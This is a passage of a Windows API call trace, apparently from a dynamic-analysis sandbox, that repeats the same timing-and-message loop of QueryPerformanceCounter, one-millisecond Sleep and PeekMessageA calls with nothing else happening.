	[0098.126] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19211960649) returned 1
	[0098.126] Sleep (dwMilliseconds=0x1) 
	[0098.128] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.128] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19212148962) returned 1
	[0098.128] Sleep (dwMilliseconds=0x1) 
	[0098.130] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.130] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19212347931) returned 1
	[0098.130] Sleep (dwMilliseconds=0x1) 
	[0098.132] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.132] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19212544830) returned 1
	[0098.132] Sleep (dwMilliseconds=0x1) 
	[0098.134] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.134] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19212746447) returned 1
	[0098.134] Sleep (dwMilliseconds=0x1) 
	[0098.137] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.137] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19213054163) returned 1
	[0098.137] Sleep (dwMilliseconds=0x1) 
	[0098.139] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.139] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19213245814) returned 1
	[0098.139] Sleep (dwMilliseconds=0x1) 
	[0098.141] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.141] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19213445411) returned 1
	[0098.141] Sleep (dwMilliseconds=0x1) 
	[0098.143] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.143] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19213645742) returned 1
	[0098.143] Sleep (dwMilliseconds=0x1) 
	[0098.145] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.145] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19213846027) returned 1
	[0098.145] Sleep (dwMilliseconds=0x1) 
	[0098.147] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.147] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19214046144) returned 1
	[0098.147] Sleep (dwMilliseconds=0x1) 
	[0098.149] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.149] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19214246439) returned 1
	[0098.149] Sleep (dwMilliseconds=0x1) 
	[0098.151] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.151] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19214446020) returned 1
	[0098.151] Sleep (dwMilliseconds=0x1) 
	[0098.153] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.153] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19214646237) returned 1
	[0098.153] Sleep (dwMilliseconds=0x1) 
	[0098.155] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.155] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19214846413) returned 1
	[0098.155] Sleep (dwMilliseconds=0x1) 
	[0098.157] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.157] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19215045591) returned 1
	[0098.157] Sleep (dwMilliseconds=0x1) 
	[0098.159] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.159] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19215245811) returned 1
	[0098.159] Sleep (dwMilliseconds=0x1) 
	[0098.161] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.161] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19215446076) returned 1
	[0098.161] Sleep (dwMilliseconds=0x1) 
	[0098.163] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.163] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19215646499) returned 1
	[0098.163] Sleep (dwMilliseconds=0x1) 
	[0098.165] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.165] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19215845973) returned 1
	[0098.165] Sleep (dwMilliseconds=0x1) 
	[0098.167] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.167] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19216045484) returned 1
	[0098.167] Sleep (dwMilliseconds=0x1) 
	[0098.169] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.169] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19216281021) returned 1
	[0098.169] Sleep (dwMilliseconds=0x1) 
	[0098.171] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.171] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19216446097) returned 1
	[0098.171] Sleep (dwMilliseconds=0x1) 
	[0098.173] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.173] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19216646277) returned 1
	[0098.173] Sleep (dwMilliseconds=0x1) 
	[0098.175] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.175] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19216846459) returned 1
	[0098.175] Sleep (dwMilliseconds=0x1) 
	[0098.177] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.177] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19217046847) returned 1
	[0098.177] Sleep (dwMilliseconds=0x1) 
	[0098.179] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.179] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19217245283) returned 1
	[0098.179] Sleep (dwMilliseconds=0x1) 
	[0098.181] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.181] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19217445151) returned 1
	[0098.181] Sleep (dwMilliseconds=0x1) 
	[0098.183] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.183] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19217649269) returned 1
	[0098.183] Sleep (dwMilliseconds=0x1) 
	[0098.185] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.185] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19217856197) returned 1
	[0098.185] Sleep (dwMilliseconds=0x1) 
	[0098.187] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.187] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19218046031) returned 1
	[0098.187] Sleep (dwMilliseconds=0x1) 
	[0098.189] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.189] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19218266912) returned 1
	[0098.189] Sleep (dwMilliseconds=0x1) 
	[0098.191] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.191] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19218446403) returned 1
	[0098.191] Sleep (dwMilliseconds=0x1) 
	[0098.193] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.193] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19218645350) returned 1
	[0098.193] Sleep (dwMilliseconds=0x1) 
	[0098.195] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.195] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19218846470) returned 1
	[0098.195] Sleep (dwMilliseconds=0x1) 
	[0098.197] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.197] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19219046469) returned 1
	[0098.197] Sleep (dwMilliseconds=0x1) 
	[0098.199] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.199] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19219247294) returned 1
	[0098.199] Sleep (dwMilliseconds=0x1) 
	[0098.201] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.201] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19219449188) returned 1
	[0098.201] Sleep (dwMilliseconds=0x1) 
	[0098.203] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.203] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19219646521) returned 1
	[0098.203] Sleep (dwMilliseconds=0x1) 
	[0098.205] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.205] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19219848795) returned 1
	[0098.205] Sleep (dwMilliseconds=0x1) 
	[0098.207] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.207] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19220052810) returned 1
	[0098.207] Sleep (dwMilliseconds=0x1) 
	[0098.209] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.209] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19220245387) returned 1
	[0098.209] Sleep (dwMilliseconds=0x1) 
	[0098.211] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.211] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19220445929) returned 1
	[0098.211] Sleep (dwMilliseconds=0x1) 
	[0098.213] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.213] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19220647316) returned 1
	[0098.213] Sleep (dwMilliseconds=0x1) 
	[0098.215] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.215] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19220846500) returned 1
	[0098.215] Sleep (dwMilliseconds=0x1) 
	[0098.217] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.217] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19221045580) returned 1
	[0098.217] Sleep (dwMilliseconds=0x1) 
	[0098.219] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.219] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19221246297) returned 1
	[0098.219] Sleep (dwMilliseconds=0x1) 
	[0098.221] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.221] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19221445821) returned 1
	[0098.221] Sleep (dwMilliseconds=0x1) 
	[0098.223] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.223] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19221645678) returned 1
	[0098.223] Sleep (dwMilliseconds=0x1) 
	[0098.225] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.225] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19221846172) returned 1
	[0098.225] Sleep (dwMilliseconds=0x1) 
	[0098.227] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.227] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19222058508) returned 1
	[0098.227] Sleep (dwMilliseconds=0x1) 
	[0098.229] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.229] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19222257765) returned 1
	[0098.229] Sleep (dwMilliseconds=0x1) 
	[0098.231] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.231] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19222445578) returned 1
	[0098.231] Sleep (dwMilliseconds=0x1) 
	[0098.234] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.234] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19222755669) returned 1
	[0098.234] Sleep (dwMilliseconds=0x1) 
	[0098.236] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.236] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19222946228) returned 1
	[0098.236] Sleep (dwMilliseconds=0x1) 
	[0098.238] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.238] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19223146421) returned 1
	[0098.238] Sleep (dwMilliseconds=0x1) 
	[0098.240] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.240] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19223345833) returned 1
	[0098.240] Sleep (dwMilliseconds=0x1) 
	[0098.242] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.242] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19223546686) returned 1
	[0098.242] Sleep (dwMilliseconds=0x1) 
	[0098.244] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.244] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19223745824) returned 1
	[0098.244] Sleep (dwMilliseconds=0x1) 
	[0098.246] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.246] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19223946309) returned 1
	[0098.246] Sleep (dwMilliseconds=0x1) 
	[0098.248] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.248] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19224145116) returned 1
	[0098.248] Sleep (dwMilliseconds=0x1) 
	[0098.250] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.250] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19224344822) returned 1
	[0098.250] Sleep (dwMilliseconds=0x1) 
	[0098.252] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.252] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19224544907) returned 1
	[0098.252] Sleep (dwMilliseconds=0x1) 
	[0098.254] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.254] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19224746096) returned 1
	[0098.254] Sleep (dwMilliseconds=0x1) 
	[0098.256] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.256] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19224971965) returned 1
	[0098.256] Sleep (dwMilliseconds=0x1) 
	[0098.258] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.258] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19225164151) returned 1
	[0098.258] Sleep (dwMilliseconds=0x1) 
	[0098.260] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.260] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19225360666) returned 1
	[0098.260] Sleep (dwMilliseconds=0x1) 
	[0098.262] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.262] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19225550233) returned 1
	[0098.262] Sleep (dwMilliseconds=0x1) 
	[0098.264] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.264] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19225747076) returned 1
	[0098.264] Sleep (dwMilliseconds=0x1) 
	[0098.266] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.266] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19225945305) returned 1
	[0098.266] Sleep (dwMilliseconds=0x1) 
	[0098.268] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.268] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19226145111) returned 1
	[0098.268] Sleep (dwMilliseconds=0x1) 
	[0098.270] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.270] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19226379604) returned 1
	[0098.270] Sleep (dwMilliseconds=0x1) 
	[0098.272] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.272] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19226546835) returned 1
	[0098.272] Sleep (dwMilliseconds=0x1) 
	[0098.274] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.274] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19226745327) returned 1
	[0098.274] Sleep (dwMilliseconds=0x1) 
	[0098.276] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.276] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19226966675) returned 1
	[0098.276] Sleep (dwMilliseconds=0x1) 
	[0098.278] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.278] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19227146847) returned 1
	[0098.278] Sleep (dwMilliseconds=0x1) 
	[0098.280] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
